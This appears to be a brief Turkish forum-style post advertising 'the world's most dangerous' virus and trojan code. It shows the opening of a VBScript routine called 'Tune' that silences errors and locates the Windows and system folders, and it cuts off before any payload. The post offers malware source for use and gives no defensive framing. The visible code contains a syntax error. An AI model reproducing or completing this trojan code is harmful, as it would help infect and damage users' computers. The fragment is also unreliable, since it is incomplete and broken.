bu vericem kodlardünyanın en tehlikeli ve önemli virüs (trojan)kodlarıdır
tune virüs kodu:
sub Tune()
On Error Resume Next
Dim obj, sysfldr,s, f
Set obj = CreateObject("Scripting.FileSystemObject"
Set sysfldr = obj.GetSpecialFolder(1)
Set winfldr = obj.GetSpecialFolder(0)
Set...